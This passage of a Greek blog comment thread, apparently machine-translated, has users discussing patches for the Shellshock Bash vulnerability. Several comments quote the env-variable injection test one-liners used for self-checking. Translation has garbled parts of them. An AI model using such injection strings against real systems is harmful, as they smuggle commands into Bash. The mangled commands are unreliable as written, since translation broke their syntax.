    Δεν ξέρω αν θα υπάρξει μια σταθερή έκδοση του Bash με τα σφάλματα διορθωμένα, αλλά έτσι κι αλλιώς θα εκκρεμεί για την επόμενη φορά που θα κάνω ένα emerge –sync && emerge –update –deep –with-bdeps = και –newuse @world βήμα ενημερώνω ολόκληρο το σύστημα).

    1.    Γιουκιτέρου dijo

      Έχω το Gentoo με την έκδοση 4.2_p50 και μέχρι στιγμής έχει περάσει όλες τις δοκιμές. Δοκιμάστε να εμφανιστεί το -sync και έπειτα emerge -av1 app-shells / bash και, στη συνέχεια, βεβαιωθείτε ότι έχετε την έκδοση 4.2_p50 χρησιμοποιώντας την εντολή bash –version.

  18.   Fer dijo

    Το έχετε δοκιμάσει αυτό;

    Και με νέα πακέτα, μια νέα δοκιμή που μας προσφέρει το Red Hat

    cd / tmp; rm -f / tmp / echo; env 'x = () {(a) => \' bash -c "echo date"; cat / tmp / echo

    Εάν το σύστημά μας δεν είναι ευάλωτο και έχει διορθωθεί σωστά, πρέπει να μας δώσει κάτι τέτοιο
    Ημερομηνία 1
    2 cat: / tmp / echo: Το αρχείο ή ο κατάλογος δεν υπάρχει

  19.   Γιουκιτέρου dijo

    Δοκιμάστε με αυτόν τον τρόπο:

    env X = '() {(a) => \' sh -c "ηχώ ευάλωτη"; bash -c "echo Failure 2 patched"

    παίρνω

    ευάλωτες
    Διορθώθηκε το σφάλμα 2.

    1.    Γιουκιτέρου dijo

      Ξεχάστε το, η γραμμή έχει κακή μορφή.

  20.   Όσκαρ Μέζα dijo

    Εξαιρετικά! Έκανα ήδη την ενημέρωση στο Slackware μου, ευχαριστώ!

  21.   Λοθμπρόκ dijo

    Γεια, προκύπτει μια ερώτηση, έχω πολλούς διακομιστές με "SUSE Linux Enterprise Server 10" 64 bit.
    Όταν εκτελώ τις εντολές είμαι ευάλωτος, είμαι ακόμη πιο ευάλωτος από τον κάδο απορριμμάτων του iPhone 6 xD
    Αν δεν κάνω λάθος να ενημερώσω / εγκαταστήσω πακέτα στο SUSE, γίνεται με την εντολή «zypper».

    Σε μερικούς διακομιστές μου λέει αυτό:

    BIAL: ~ # zypper επάνω
    -bash: zypper: η εντολή δεν βρέθηκε
    BIAL: ~ #

    Και σε άλλους αυτό:

    SMB: ~ # zypper επάνω
    Επαναφορά πηγών συστήματος…
    Ανάλυση μεταδεδομένων για το SUSE Linux Enterprise Server 10 SP2-20100319-161944…
    Ανάλυση βάσης δεδομένων RPM ...
    Περίληψη:
    Τίποτα να κάνω.

    Τι κανω?
    Γνωρίζω ότι ορισμένοι λένε ότι η ευπάθεια είναι λιγότερο από ό, τι το ζωγραφίζουν, αλλά το έχω και δεν θέλω να εκτεθώ σε κίνδυνο, είτε είναι μικρό είτε μεγάλο.

    Χαιρετισμούς.

  22.   Sanders gutierrez dijo

    Καλησπέρα, προσπάθησα να επικολλήσω τον κωδικό που δώσατε στο άρθρο, το έχω πάρει
    sanders @ pc-sanders: ~ $ env x = '() {:;}; echo ευπαθές 'bash -c "echo this is a test"
    αυτό είναι ένα τεστ
    sanders @ pc-sanders: ~ $
    Σας παρακαλώ να μου εξηγήσετε πώς να διορθώσετε το distro, ενημερώνω καθημερινά και δεν βλέπω καμία αλλαγή στην άμεση έξοδο.

    Σας ευχαριστούμε πάρα πολύ!